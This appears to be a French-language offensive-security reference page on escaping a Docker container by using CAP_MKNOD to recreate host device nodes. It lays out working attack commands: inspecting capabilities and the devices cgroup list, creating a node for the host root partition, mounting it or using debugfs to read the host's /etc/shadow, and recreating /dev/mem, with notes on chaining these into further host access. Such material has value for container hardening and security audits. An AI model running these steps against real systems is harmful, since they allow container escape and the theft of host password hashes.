Un nœud de périphérique ne porte aucune donnée propre : ce n'est qu'une entrée de système de fichiers étiquetant un numéro majeur et un numéro mineur que le noyau résout en un pilote. mknod crée une telle entrée. Si le conteneur détient CAP_MKNOD (membre de l'ensemble par défaut de Docker) et que le cgroup de périphériques autorise encore un périphérique, un attaquant peut recréer le nœud du disque de l'hôte ou d'un périphérique de mémoire brute même si le /dev de l'image ne l'incluait pas, puis utiliser ce nœud pour atteindre l'hôte.
Vérifiez la capacité et ce que le cgroup de périphériques autorise :
capsh --print | grep -o cap_mknod
cat /sys/fs/cgroup/devices/devices.list 2>/dev/null
# "b *:* rwm" allows all block devices; "c 1:1 rwm" would allow /dev/mem
Le devices.list du cgroup de périphériques est le véritable verrou : mknod réussit à créer le nœud quoi qu'il arrive, mais son ouverture est refusée à moins que le cgroup n'autorise ce majeur/mineur. Une liste permissive (courante sous --privileged, qui positionne a *:* rwm) signifie que tout nœud recréé fonctionne.
Recréer et utiliser un périphérique bloc#
# host root disk is typically major 8 (sd*) or 259 (nvme); minor from /proc/partitions
cat /proc/partitions # find major:minor of the host root partition
mknod /tmp/hostdisk b 8 1 # recreate /dev/sda1 as a block node
mount /tmp/hostdisk /mnt/host 2>/dev/null || \
debugfs -R 'cat /etc/shadow' /tmp/hostdisk # read without mounting
Pour un périphérique de mémoire brute :
mknod /tmp/mem c 1 1 # /dev/mem is char major 1 minor 1
Notes d'exploitation#
- Que
mknodcrée le nœud est nécessaire mais pas suffisant ; la liste d'autorisation du cgroup de périphériques décide si son ouverture est permise. Lisez d'aborddevices.listpour savoir quels majeurs/mineurs sont utilisables. - Découvrez les numéros majeur/mineur depuis
/proc/partitionspour les périphériques bloc et depuis les conventions duDocumentation/admin-guide/devices.txtdu noyau pour les périphériques caractère (mem est 1:1, port est 1:4). - C'est l'élément déclencheur lorsqu'une voie de périphérique est théoriquement ouverte (cgroup permissif) mais que le nœud manque ; combinez avec Périphérique bloc de l'hôte ou Périphériques de mémoire du noyau pour la lecture/écriture effective.